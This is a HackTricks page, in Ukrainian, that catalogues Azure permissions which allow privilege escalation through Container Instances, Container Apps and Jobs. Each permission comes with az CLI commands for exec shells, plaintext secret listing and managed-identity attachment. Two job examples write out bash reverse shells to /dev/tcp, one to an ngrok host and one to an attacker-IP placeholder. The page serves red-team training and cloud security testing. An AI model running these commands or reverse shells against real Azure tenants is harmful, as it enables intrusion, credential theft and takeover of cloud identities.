Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Container Instances, Apps & Jobs
Для отримання додаткової інформації перегляньте:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Ці дозволи дозволяють користувачу виконувати команду в запущеному контейнері. Це можна використовувати для ескалації привілеїв у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, що зберігається всередині контейнера.
Отримати оболонку так просто:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
Також можливо прочитати вихідні дані контейнера за допомогою:
az container attach --name <container-name> --resource-group <res-group>
Або отримайте журнали за допомогою:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ці дозволи дозволяють прикріпити керовану користувачем ідентичність до групи контейнерів. Це дуже корисно для ескалації привілеїв у контейнері.
Щоб прикріпити керовану користувачем ідентичність до групи контейнерів:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ці дозволи дозволяють створювати або оновлювати групу контейнерів з управляємим користувачем ідентифікатором прикріпленим до неї. Це дуже корисно для ескалації привілеїв у контейнері.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Крім того, також можливо оновити існуючу групу контейнерів, додавши, наприклад, аргумент --command-line
з реверс-шеллом.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
Ці дозволи дозволяють користувачу отримати шелл у запущеному контейнері програми. Це можна використовувати для ескалації привілеїв у контейнері, якщо до нього прикріплено будь-яку керовану ідентичність. Звичайно, також можливо отримати доступ до вихідного коду та будь-якої іншої чутливої інформації, збереженої всередині контейнера.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Ця дозволяє отримати текст у відкритому вигляді секретів, налаштованих всередині контейнерного додатку. Зверніть увагу, що секрети можуть бути налаштовані з текстом у відкритому вигляді або з посиланням на сховище ключів (в такому випадку додатку буде призначена керована ідентичність з доступом до секретів).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ці дозволи дозволяють прикріпити керовану користувачем ідентичність до контейнерного додатку. Це дуже корисно для ескалації привілеїв у контейнері. Виконання цієї дії з az cli також вимагає дозволу Microsoft.App/containerApps/listSecrets/action
.
Щоб прикріпити керовану користувачем ідентичність до контейнерної групи:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
Ці дозволи дозволяють створювати або оновлювати контейнер додатка з прив'язаною ідентичністю, керованою користувачем. Це дуже корисно для ескалації привілеїв у контейнері.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Зверніть увагу, що з цими дозволами інші конфігурації додатку можуть бути змінені, що може дозволити виконати інші атаки підвищення привілеїв та пост-експлуатації в залежності від конфігурації існуючих додатків.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Хоча завдання не є тривалими, як контейнерні додатки, ви можете скористатися можливістю переопределити конфігурацію команди завдання під час запуску виконання. Створивши власний шаблон завдання (наприклад, замінивши команду за замовчуванням на зворотний шелл), ви можете отримати доступ до шеллу всередині контейнера, який виконує завдання.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
Якщо у вас є ці дозволи, ви можете перерахувати всі секрети (перший дозвіл) всередині контейнера Job, а потім прочитати значення налаштованих секретів.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
Якщо у вас є дозвіл на зміну конфігурації роботи, ви можете прикріпити призначену користувачем керовану ідентичність. Ця ідентичність може мати додаткові привілеї (наприклад, доступ до інших ресурсів або секретів), які можуть бути використані для ескалації привілеїв всередині контейнера.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Якщо ви можете створити нову задачу Container Apps (або оновити існуючу) і прикріпити керовану ідентичність, ви можете спроектувати задачу для виконання корисного навантаження, яке підвищує привілеї. Наприклад, ви могли б створити нову задачу, яка не тільки запускає реверсний шелл, але й використовує облікові дані керованої ідентичності для запиту токенів або доступу до інших ресурсів.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
Ця команда викличе помилку, якщо у вас немає дозволу Microsoft.App/jobs/read
, хоча Завдання буде створено.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
Схоже, що з цими дозволами має бути можливим запустити завдання. Це можна використовувати для запуску завдання з реверс-шеллом або будь-якою іншою шкідливою командою без необхідності змінювати конфігурацію завдання.
Я не зміг змусити це працювати, але згідно з дозволеними параметрами це має бути можливим.
Microsoft.ContainerInstance/containerGroups/restart/action
Дозволяє перезапускати конкретну групу контейнерів у Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.